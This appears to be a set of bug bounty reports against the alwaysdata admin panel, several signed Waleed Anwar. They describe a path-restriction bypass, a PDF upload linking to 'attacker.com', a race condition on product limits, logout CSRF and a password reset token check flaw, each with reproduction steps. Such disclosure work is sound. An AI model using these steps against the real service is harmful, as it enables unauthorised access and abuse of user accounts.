The user can access /site/xx/ssl even though access to paths under /site is restricted, allowing them unintended access to certain SSL configurations tied to the site path.

##Proof of Concept: https://admin.alwaysdata.com/support/82440/384175-bandicam%202024-11-12%2004-13-20-975.mp4

Impact:

This vulnerability allows unauthorized users to bypass restrictions on certain paths and access SSL configurations. If exploited, this could lead to unauthorized manipulation of SSL settings, compromising the security integrity of site-related resources.

SSRF WITH FILE UPLOAD FUNCTIONALITY:

Hello Team, I hope you are doing well. I found a ssrf through pdf upload in https://admin.alwaysdata.com/support.

Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/support and upload a pdf file which have ssrf through ( "Burp Collab" or malicious url redirection "attacker.com")

2. Send this file to any user when he/she open that file and click the link in that it will redirect to attacker website or http and dns response will be shown in Burpsuite.

Impact
The vulnerability could be used to conduct further attacks, such as accessing internal systems or exfiltrating sensitive data.

Attacker will redirect any user to their website to steal data of user and can do whatever he/she wants.

Thank You,

Waleed Anwar

Summary: A race condition vulnerability was found, allowing users to bypass the product limit restriction and create multiple instances of a product that should be limited to only one per user.

Steps to Reproduce:

1-Open a New Account:
Go to "Open a New Account" and enter the required information.

2-Send Concurrent Requests:
Use a tool like Burp Suite or a script to send multiple requests at the same time.
Slightly change the product name in each request (e.g., "Product1," "Product2") to avoid immediate duplicates.

3-Verify:
Check the account to confirm multiple instances of the product were created.

Impact:

1-Resource Abuse: Users can consume excessive resources (e.g., storage or server space), impacting performance and increasing operational costs.

2-Account Abuse: Malicious users may create multiple products for spam, fraud, or denial-of-service (DoS) attacks.

3-System Integrity: This flaw undermines the system’s integrity by allowing unauthorized duplication of resources.

Recommended Fixes: Atomic Operations: Ensure product creation checks and actions happen as one atomic operation.
Database Constraints: Enforce unique limits in the database to block duplicate entries.
Synchronization: Use locking mechanisms to prevent concurrent request handling.

Logout CSRF

Hi Team,
This is a low risk but want you to know that logout on this domain admin.alwaysdata.com did not protect the logout form with csrf token, therefor i can logout any user by sending this url https://admin.alwaysdata.com/logout/.
Logout should have post method with a valid csrf token.
Let me know if you need more info.

Regards
Waleed Anwar

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar